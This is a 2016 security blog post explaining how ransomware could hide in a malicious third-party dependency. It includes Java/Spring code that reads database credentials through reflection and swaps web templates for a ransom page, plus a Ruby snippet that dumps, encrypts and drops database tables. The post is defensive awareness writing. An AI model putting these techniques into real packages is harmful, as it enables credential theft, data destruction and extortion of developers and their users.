The Ransomware in our Dependencies

By: Darius Foo & Steve Ng on November 30, 2016

Ransomware is a growing pernicious threat. Some ransomeware called ‘Locky’ was recently discovered spreading through Facebook Messenger, and just last weekend San Francisco’s light-rail system was compromised by ransomware. Today we’ll take an in-depth look at how ransomware can target developers, proliferating through library dependencies.

What is Ransomware?

Ransomware is malicious software that blocks access to a computer system until a ransom is paid. It traditionally targets desktop computers and mobile devices, though with the prevalence of IoT devices, it may soon extend its reach.

The concept is much like that of other malware – an attacker gains elevated privileges on the victim’s computer, but rather than cause purposeless havoc, he tries to profit by extorting money from the victim. This works because the victim’s computer is ‘held ransom’, typically by cryptographic techniques.

Dubious Dependencies

Why target developers, who are generally more tech-savvy and know not to install dubious programs? One reason is that the payoff could be much larger – rather than get access to a home computer, an attacker might gain control of a cluster of production system. Larger things are at stake, and moving ransomware up the stack can yield correspondingly greater rewards.

This sort of ransomware could be included in an innocuous-looking dependency. Here’s an example of how that might work. We’ll be using examples from Java (Spring) and Ruby (Rails), but these techniques can easily be adapted to other languages and frameworks.

Let’s start with a sample Spring MVC app, configured to use MySQL.

<!-- pom.xml -->
<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>5.1.9</version>
</dependency>
# persistence-mysql.properties
dataSource.driverClassName=com.mysql.jdbc.Driver
dataSource.url=jdbc:mysql://localhost:3306/dbransom
dataSource.username=root
dataSource.password=password

hibernate.dialect=org.hibernate.dialect.MySQLDialect
hibernate.hbm2ddl.auto=create

We’ll also include a suspicious dependency:

<!-- pom.xml -->
<dependency>
    <groupId>org.evil</groupId>
    <artifactId>evil-utils</artifactId>
    <version>1.0</version>
</dependency>

It exposes a single method, EvilUtils.padLeft, which is called as part of the web service.

Reflection

Once a malicious package is included, it practically has free reign over what can happen. This is more or less equivalent to getting remote code execution in the environment of an application, which is generally disastrous.

To cause real damage, we need an important-enough target. The database qualifies, and since this is a Spring application, we know its coordinates – it can be as simple as getting hold of the Spring application context and locating the right bean.

class EvilUtils {
  // Access the Spring context
  @Autowired
  private WebApplicationContext ctx;

  EvilUtils() {
    SpringBeanAutowiringSupport.processInjectionBasedOnCurrentContext(this);
  }

  DataSource getDataSource() {
    DataSource ds = null;
    try {
      ds = (DataSource) ctx.getBean("dataSource");
      return new JdbcTemplate(ds);
    } catch (NoSuchBeanDefinitionException e) {}
    // ...
  }

  public String padLeft(String s) {
    return " " + s;
  }
}

If this doesn’t work, we can access the ClassLoader hierarchy and find a class with a method which returns a DataSource of some kind.

for (Class<?> klass : loadedClasses()) {
  Method[] methods = klass.getMethods();

  for (Method m : methods) {
    if (m.getReturnType() != DataSource.class) {
      continue;
    }

    // We've found a target!
    m.setAccessible(true);
    for (Constructor ctor : klass.getDeclaredConstructors()) {
      // Instantiate the target bean and autowire its dependencies
      if (ctor.getGenericParameterTypes().length == 0) {
        ctor.setAccessible(true);
        Object instance = ctor.newInstance();
        SpringBeanAutowiringSupport.processInjectionBasedOnCurrentContext(instance);
        beanFactory.autowireBean(instance);
        ds = (DataSource) m.invoke(instance);
      }
    }

    if (ds != null) {
      return ds;
    }
  }
}

Reflection then allows us to get hold of the details of the database Connection through it.

import com.mysql.jdbc.ConnectionImpl;

void getConnectionInfo() {
  Field f;

  f = ConnectionImpl.class.getDeclaredField("user");
  f.setAccessible(true);
  String username = (String) f.get(conn);

  f = ConnectionImpl.class.getDeclaredField("password");
  f.setAccessible(true);
  String password = (String) f.get(conn);

  f = ConnectionImpl.class.getDeclaredField("host");
  f.setAccessible(true);
  String host = (String) f.get(conn);

  f = ConnectionImpl.class.getDeclaredField("database");
  f.setAccessible(true);
  String database = (String) f.get(conn);

  // ...
}

We can then use the credentials to create a new connection, letting us access the database.

The next step is to disable the victim’s access to the data. We can do this in any number of ways once we get to this point; a simple way would be to dump the contents to a file, encrypt it, then drop all the tables.

PWN3D

The final steps are to ensure the victim knows they’ve been pwned and give them our Bitcoin address. We locate their template files, encrypt them, then replace them with a tasteful message.

void gloat() {
  // Locate web resources
  File f = new File(getClass().getProtectionDomain().getCodeSource().getLocation().toURI().getPath());
  String path = f.getPath();
  int indx = path.indexOf("/WEB-INF/lib/");
  path = path.substring(0, indx + 9) + "views";

  // Replace them with our custom views
  for (File template : getFilesFromPath(path)) {
    if (template.getName().endsWith(".jsp")) {
      encryptAndMove(template);
      moveResource("pwned.jsp", template.getPath());
    }
  }
}

PWN3D

We wouldn’t want the encryption key to appear in the malicious library itself, since that would leave it vulnerable to reverse-engineering. Public key encryption would allow us to avoid exposing the entire key.

This can be refined further by making the exploit trigger only in production, or adding a way for us to trigger it remotely.

Rails

The Rails version of this exploit is much simpler: we simply get the password from ActiveRecord::Base.connection_config[:password]. Here is an example of the full exploit with SQLite:

def delete_db
  conn = ActiveRecord::Base.connection

  if conn.adapter_name.eql? 'SQLite'
    sqliteDb = ActiveRecord::Base.connection_config[:database]
    puts `sqlite3 #{sqliteDb} .dump > dump.sql;`

    # Encrypt file
    file_path = `pwd`
    encrypt_file(file_path.chop, 'dump.sql')

    # Delete dump
    FileUtils.rm_r "#{file_path.chop}/dump.sql"

    # Drop all tables
    conn.data_sources.each do |table_name|
      conn.drop_table(table_name)
    end
end

There are legitimate use cases for accessing database configuration in libraries, and it’s difficult to differentiate malicious attempts from innocuous ones.

In general, dynamic languages are more vulnerable in this regard because they are harder to statically analyze, and there are usually fewer barriers to violating encapsulation and doing things at runtime.

Attack Vectors

The specific example we presented may seem a little contrived – it is the product of many specific things happening in exactly the right way. The point we’re making, however, is that it’s possible, and very much so. One might say that getting developers to depend on suspicious packages is the hard part; what’s frightening is how easy it is.

Typosquatting is a thing even for package managers. You can trick people with the silliest techniques; publish binary releases which aren’t built from the source code they purport to be, include it as part of a worm… There is also the occasional package manager vulnerability which doesn’t rely on social engineering. There are lots more creative ways to get malicious packages out there.

Stay safe out there

There are inherent risks in our dependency on third-party code. Part of the research we do at SourceClear is to figure out new ways to audit dependencies to help keep you safe. Make sure you’re scanning your code for vulnerabilities so we can help you avoid the next attack.

Blog Home